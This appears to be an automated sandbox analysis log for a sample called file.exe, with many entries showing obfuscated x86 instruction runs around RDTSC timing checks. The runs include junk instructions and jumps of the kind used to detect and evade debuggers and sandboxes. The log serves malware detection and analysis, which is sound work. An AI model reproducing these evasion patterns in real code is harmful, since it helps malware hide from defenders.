Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0C02 second address: 53E0CA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB5588467F7h 0x00000009 and ecx, 3C10A2AEh 0x0000000f jmp 00007FB5588467F9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FB5588467F0h 0x0000001b sbb cx, 7C28h 0x00000020 jmp 00007FB5588467EBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov eax, esi 0x0000002b pushad 0x0000002c jmp 00007FB5588467F4h 0x00000031 jmp 00007FB5588467F2h 0x00000036 popad 0x00000037 pop esi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FB5588467F7h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0CA6 second address: 53E0CAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0CAB second address: 53E0CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 0418h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0CBB second address: 53E01CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebx, eax 0x00000007 popad 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007FB55958F8B7h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007FB55DCAAEB8h 0x00000031 mov edi, edi 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E01CD second address: 53E01D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E01D1 second address: 53E01D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E01D7 second address: 53E026A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ax, 90FDh 0x0000000f pushfd 0x00000010 jmp 00007FB5588467EAh 0x00000015 add si, 5DD8h 0x0000001a jmp 00007FB5588467EBh 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 jmp 00007FB5588467F9h 0x00000027 xchg eax, ebp 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FB5588467ECh 0x0000002f xor si, 8F68h 0x00000034 jmp 00007FB5588467EBh 0x00000039 popfd 0x0000003a movzx esi, dx 0x0000003d popad 0x0000003e mov ebp, esp 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007FB5588467ECh 0x00000049 adc cl, FFFFFFC8h 0x0000004c jmp 00007FB5588467EBh 0x00000051 popfd 0x00000052 push esi 0x00000053 pop edi 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E026A second address: 53E0270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0270 second address: 53E028C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB5588467EFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E028C second address: 53E02AD instructions: 0x00000000 rdtsc 0x00000002 mov eax, 5C07A51Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov ax, 40B1h 0x0000000e mov dl, cl 0x00000010 popad 0x00000011 popad 0x00000012 call 00007FB55958F8B9h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E02AD second address: 53E02B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E02B1 second address: 53E02B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E02B7 second address: 53E02BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E02BD second address: 53E0300 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov bx, 9DDAh 0x00000011 mov ebx, 3842BDA6h 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jmp 00007FB55958F8BCh 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FB55958F8BEh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0300 second address: 53E0312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB5588467EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0312 second address: 53E0362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007FB55958F8C9h 0x00000014 pop eax 0x00000015 jmp 00007FB55958F8BEh 0x0000001a push 474F6ADBh 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FB55958F8BCh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0362 second address: 53E0368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0368 second address: 53E037D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 32E641ABh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E037D second address: 53E0383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0383 second address: 53E0389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0389 second address: 53E038D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E038D second address: 53E0391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0391 second address: 53E03B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e pushad 0x0000000f mov si, dx 0x00000012 mov dl, 1Fh 0x00000014 popad 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FB5588467EEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E03B9 second address: 53E03C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E03C8 second address: 53E03E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB5588467F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E03E0 second address: 53E03E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E03E4 second address: 53E03FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB5588467EDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E03FC second address: 53E04C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB55958F8C3h 0x00000009 jmp 00007FB55958F8C3h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FB55958F8C4h 0x0000001a jmp 00007FB55958F8C5h 0x0000001f popfd 0x00000020 mov ebx, esi 0x00000022 popad 0x00000023 sub esp, 18h 0x00000026 jmp 00007FB55958F8BAh 0x0000002b xchg eax, ebx 0x0000002c pushad 0x0000002d movzx esi, dx 0x00000030 mov bx, 213Eh 0x00000034 popad 0x00000035 push eax 0x00000036 pushad 0x00000037 mov bl, al 0x00000039 pushfd 0x0000003a jmp 00007FB55958F8C7h 0x0000003f sbb ah, FFFFFF9Eh 0x00000042 jmp 00007FB55958F8C9h 0x00000047 popfd 0x00000048 popad 0x00000049 xchg eax, ebx 0x0000004a jmp 00007FB55958F8BEh 0x0000004f xchg eax, esi 0x00000050 pushad 0x00000051 mov ecx, 6ED4232Dh 0x00000056 push eax 0x00000057 push edx 0x00000058 mov cx, 9E4Fh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E04C7 second address: 53E04F9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB5588467F4h 0x00000008 or si, 72F8h 0x0000000d jmp 00007FB5588467EBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E04F9 second address: 53E04FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E04FD second address: 53E0503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0503 second address: 53E0509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0509 second address: 53E050D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E050D second address: 53E0527 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e call 00007FB55958F8BAh 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0527 second address: 53E0583 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB5588467EEh 0x00000009 and esi, 49ACD7B8h 0x0000000f jmp 00007FB5588467EBh 0x00000014 popfd 0x00000015 call 00007FB5588467F8h 0x0000001a pop eax 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push esi 0x0000001f jmp 00007FB5588467EEh 0x00000024 mov dword ptr [esp], edi 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov ax, bx 0x0000002d mov cx, dx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0583 second address: 53E0598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB55958F8C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0598 second address: 53E05D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [75AF4538h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB5588467F8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05D0 second address: 53E05DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05DF second address: 53E05E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05E5 second address: 53E05E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05E9 second address: 53E05FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05FA second address: 53E05FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05FE second address: 53E0602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0602 second address: 53E0608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0608 second address: 53E0699 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FB5588467F5h 0x00000012 sub eax, 27D73936h 0x00000018 jmp 00007FB5588467F1h 0x0000001d popfd 0x0000001e push esi 0x0000001f pushfd 0x00000020 jmp 00007FB5588467F7h 0x00000025 xor eax, 2391566Eh 0x0000002b jmp 00007FB5588467F9h 0x00000030 popfd 0x00000031 pop ecx 0x00000032 popad 0x00000033 push ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FB5588467F3h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0699 second address: 53E06EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushfd 0x00000006 jmp 00007FB55958F8BBh 0x0000000b adc esi, 0D3A212Eh 0x00000011 jmp 00007FB55958F8C9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], eax 0x0000001d pushad 0x0000001e jmp 00007FB55958F8BCh 0x00000023 mov ax, 75C1h 0x00000027 popad 0x00000028 lea eax, dword ptr [ebp-10h] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov ah, dh 0x00000030 mov si, 5131h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E06EF second address: 53E071D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 538FDBF0h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 jmp 00007FB5588467F2h 0x00000016 mov dword ptr [ebp-18h], esp 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov edi, 243FB94Eh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E071D second address: 53E0770 instructions: 0x00000000 rdtsc 0x00000002 mov esi, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr fs:[00000018h] 0x0000000d pushad 0x0000000e mov edx, 2727DCB2h 0x00000013 call 00007FB55958F8C3h 0x00000018 mov ecx, 46073C4Fh 0x0000001d pop esi 0x0000001e popad 0x0000001f mov ecx, dword ptr [eax+00000FDCh] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 movzx ecx, di 0x0000002b jmp 00007FB55958F8C9h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0770 second address: 53E07F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b jmp 00007FB5588467EEh 0x00000010 jns 00007FB558846801h 0x00000016 jmp 00007FB5588467F0h 0x0000001b add eax, ecx 0x0000001d pushad 0x0000001e movzx ecx, bx 0x00000021 mov bx, CECEh 0x00000025 popad 0x00000026 mov ecx, dword ptr [ebp+08h] 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007FB5588467EEh 0x00000031 pushfd 0x00000032 jmp 00007FB5588467F2h 0x00000037 and eax, 79255748h 0x0000003d jmp 00007FB5588467EBh 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E07F0 second address: 53E07F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E07F6 second address: 53E07FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E07FA second address: 53E0824 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB55958F8C5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0202 second address: 53D0208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0208 second address: 53D020C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D020C second address: 53D021B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D021B second address: 53D021F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D021F second address: 53D0225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0225 second address: 53D022B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D022B second address: 53D022F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D022F second address: 53D0233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0233 second address: 53D0242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0242 second address: 53D0246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0246 second address: 53D024A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D024A second address: 53D0250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0250 second address: 53D0283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB5588467EAh 0x00000008 pop eax 0x00000009 call 00007FB5588467EBh 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB5588467F2h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0283 second address: 53D0289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0289 second address: 53D028D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0382 second address: 53D03A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB55958F8C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D03A9 second address: 53D0417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 call 00007FB5588467F3h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test al, al 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FB5588467F0h 0x00000019 sub ax, 5658h 0x0000001e jmp 00007FB5588467EBh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007FB5588467F8h 0x0000002a add ax, E0B8h 0x0000002f jmp 00007FB5588467EBh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0417 second address: 53D0489 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FB55958FB21h 0x0000000f jmp 00007FB55958F8BEh 0x00000014 lea ecx, dword ptr [ebp-14h] 0x00000017 jmp 00007FB55958F8C0h 0x0000001c mov dword ptr [ebp-14h], edi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FB55958F8BDh 0x00000028 adc cx, 8766h 0x0000002d jmp 00007FB55958F8C1h 0x00000032 popfd 0x00000033 mov edx, ecx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D04A1 second address: 53D04A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D04A5 second address: 53D04F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushfd 0x00000008 jmp 00007FB55958F8C2h 0x0000000d jmp 00007FB55958F8C5h 0x00000012 popfd 0x00000013 mov dx, cx 0x00000016 popad 0x00000017 popad 0x00000018 nop 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FB55958F8C9h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D05B5 second address: 53D05BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D05BB second address: 53D05F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FB5C9C5D76Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB55958F8C5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D05F1 second address: 53D061B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FB55884687Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB5588467EDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D061B second address: 53D0621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0621 second address: 53D0625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
